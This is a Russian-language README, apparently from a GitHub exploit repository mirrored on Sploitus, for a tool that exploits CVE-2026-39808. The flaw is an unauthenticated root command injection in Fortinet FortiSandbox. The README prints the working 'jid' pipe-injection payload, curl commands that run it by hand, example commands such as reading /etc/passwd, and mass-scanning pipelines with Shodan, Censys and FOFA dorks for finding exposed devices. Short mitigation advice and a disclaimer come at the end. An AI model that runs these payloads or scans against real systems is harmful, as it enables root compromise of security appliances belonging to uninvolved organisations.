## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YNSMROZTAS-FORTISANDBOX-RCE-EXPLOIT-CVE-2026-39808
# FortiSandbox RCE Scanner — CVE-2026-39808

    
**Неаутентифицированная инъекция OS-команд от имени root в Fortinet FortiSandbox**
Уязвимость • Установка • Использование • Принцип работы • Конвейер • Shodan Dorks • Отказ от ответственности
* * *
## Уязвимость
**CVE-2026-39808** — критическая неаутентифицированная уязвимость инъекции OS-команд в Fortinet FortiSandbox. Конечная точка API `/fortisandbox/job-detail/tracer-behavior` не выполняет санитизацию параметра `jid`, что позволяет атакующему внедрять произвольные OS-команды, выполняемые от имени **root** — без какой-либо аутентификации.
### Первопричина
Параметр `jid` в конечной точке tracer-behavior передаётся напрямую в системную команду без санитизации. Используя символы конвейера (`|`), атакующий может выйти за пределы предполагаемого контекста команды и выполнить произвольные команды:
root@kitploit:~
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
Вывод записывается в `/web/ng/out.txt`, который доступен по адресу `/ng/out.txt` на веб-сервере — что обеспечивает удобный механизм чтения результатов для слепой инъекции команд.
* * *
## Установка
Ноль зависимостей. Только стандартная библиотека Python 3.7+.
root@kitploit:~
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
* * *
## Использование
### Базовое сканирование
root@kitploit:~
# Проверить, уязвима ли цель (используется обнаружение на основе канареечной строки)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
### Выполнение команды
root@kitploit:~
# Выполнить конкретную команду на цели
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
### Только проверка (без выполнения команд)
root@kitploit:~
# Только проверить уязвимость, не выполнять --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only
### С Burp Proxy
root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
### JSON-отчёт
root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com -o report.json
### Режим конвейера (массовое сканирование)
root@kitploit:~
# Из списка URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → сканер
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → сканер
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
### Все параметры
root@kitploit:~
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL Целевой URL
--stdin Читать URL из stdin (режим конвейера)
--cmd CMD OS-команда для выполнения (по умолчанию: id)
--verify-only Только проверить уязвимость, не выполнять --cmd
--proxy PROXY HTTP-прокси (например, http://127.0.0.1:8080)
--timeout TIMEOUT HTTP-таймаут в секундах (по умолчанию: 15)
--rate-limit RATE_LIMIT Задержка между целями в мс (по умолчанию: 0)
-o, --output FILE Файл JSON-отчёта
--no-banner Подавить баннер
* * *
## Принцип работы
Сканер использует **5-этапный процесс проверки** со строгим предотвращением ложных срабатываний:
root@kitploit:~
Шаг 1 → Обнаружение FortiSandbox (отпечаток по заголовку/заголовкам)
Шаг 2 → Проверка существования уязвимой конечной точки
Шаг 3 → Внедрение уникальной канареечной строки через инъекцию команд
Шаг 4 → Чтение /ng/out.txt и проверка канареечной строки (строгая валидация обычного текста)
Шаг 5 → Выполнение пользовательской команды + очистка
### Предотвращение ложных срабатываний
Сканер реализует несколько уровней валидации для устранения ложных срабатываний:
* **Обнаружение HTML** — Если выходной URL возвращает HTML-страницу (catch-all Angular SPA), это помечается как ложное срабатывание
* **Проверка Content-Type** — Вывод команды не должен быть `text/html`
* **Изоляция канареечной строки** — Канареечная строка должна появляться в чистом обычном тексте, а не внутри HTML-тегов
* **Регулярное выражение вывода`id`** — Строгое сопоставление шаблона `uid=\d+(\w+)` с проверкой размера (<1000 байт)
* **Нормализация базового URL** — Автоматическое удаление суффикса `/ng` для предотвращения проблем с двойным путём
* * *
## Пример вывода
### Уязвимая цель
root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Неаутентифицированная инъекция команд (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Цель: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox обнаружен!
▸ Проверка конечной точки: /fortisandbox/job-detail/tracer-behavior
▸ Статус конечной точки: 200 | Content-Type: text/html
▸ Внедрение канареечной строки: mitsec_a8k3m2x1
▸ Чтение вывода: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 УЯЗВИМ — CVE-2026-39808 ПОДТВЕРЖДЁН!
CRITICAL Цель: https://fortisandbox.example.com
✓ Канареечная строка 'mitsec_a8k3m2x1' подтверждена в выводе (чистый обычный текст)
──────────────────────────────────────────────────────────
Вывод команды: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ Файл вывода очищен
### Не уязвимая
root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│ Цель: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox обнаружен!
▸ Проверка конечной точки: /fortisandbox/job-detail/tracer-behavior
✗ Конечная точка вернула 404 — не уязвима или исправлена
### Обработка ложного срабатывания
root@kitploit:~
▸ Чтение вывода: https://target.com/ng/out.txt
⚠ Выходной URL возвращает HTML-страницу — это Angular SPA, а НЕ вывод команды
▸ Content-Type: text/html
▸ Это ложное срабатывание — /ng/out.txt обслуживает index.html SPA
▸ Цель не выглядит уязвимой
* * *
## Формат JSON-отчёта
root@kitploit:~
{
"scanner": "fortisandbox_rce",
"version": "1.0",
"cve": "CVE-2026-39808",
"scan_date": "2026-04-22T10:30:00+00:00",
"total_targets": 5,
"vulnerable": 1,
"results": [
{
"target": "https://fortisandbox.example.com",
"vulnerable": true,
"details": {
"is_fortisandbox": true,
"server": "Apache",
"canary": "mitsec_a8k3m2x1",
"verification": "canary_match",
"command": "id",
"output": "uid=0(root) gid=0(root) groups=0(root)"
},
"timestamp": "2026-04-22T10:30:00+00:00"
}
]
}
* * *
## Интеграция в конвейер
Сканер выводит уязвимые URL в **stdout** (весь остальной вывод идёт в stderr), что делает его полностью совместимым с конвейерами:
root@kitploit:~
# Найти уязвимые цели и сохранить
subfinder -d corp.com -silent | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
tee vulnerable_fortisandbox.txt
# Объединить с nuclei для дальнейшего тестирования
cat vulnerable_fortisandbox.txt | nuclei -t cves/
# Тихий массовый скан с ограничением скорости
cat shodan_results.txt | \
python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json
* * *
## Shodan Dorks
root@kitploit:~
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778
**Censys:**
root@kitploit:~
services.http.response.html_title:"FortiSandbox"
**FOFA:**
root@kitploit:~
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"
**Google Dork:**
root@kitploit:~
intitle:"FortiSandbox - Please login"
* * *
## Ручная проверка
Если вы предпочитаете проверять вручную с помощью curl:
root@kitploit:~
# Шаг 1: Внедрить команду
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
--data-urlencode "jid=|(id > /web/ng/out.txt)|"
# Шаг 2: Прочитать вывод
curl -s -k "https://TARGET/ng/out.txt"
# Ожидаемый результат: uid=0(root) gid=0(root) groups=0(root)
* * *
## Устранение уязвимости
* **Обновите** FortiSandbox до версии **4.4.9 или выше**
* Если немедленное исправление невозможно:
* Ограничьте сетевой доступ к интерфейсу управления FortiSandbox
* Используйте правила межсетевого экрана для блокировки внешнего доступа к конечным точкам `/fortisandbox/job-detail/`
* Отслеживайте журналы на предмет подозрительных значений параметра `jid`, содержащих символы конвейера
* * *
## Хронология
Дата| Событие
---|---
Ноябрь 2025| Уязвимость обнаружена
Апрель 2026| Опубликован CVE-2026-39808
Апрель 2026| Исправлено в FortiSandbox 4.4.9
* * *
## Ссылки
* Консультация Fortinet PSIRT — FG-IR-25-325
* CVE-2026-39808 — NVD
* * *
## Отказ от ответственности
Этот инструмент предоставляется **только для авторизованного тестирования безопасности и образовательных целей**. Несанкционированный доступ к компьютерным системам является незаконным. Всегда получайте надлежащее письменное разрешение перед тестированием. Автор не несёт ответственности за неправомерное использование этого инструмента.
* * *
## Автор
**mitsec** — @ynsmroztas
* Портфолио: ynsmroztas.github.io
* 100+ Hall of Fame | 2 430+ раскрытых уязвимостей | 1 100+ критических находок
* * *
Если этот инструмент помог вам, поставьте ему ⭐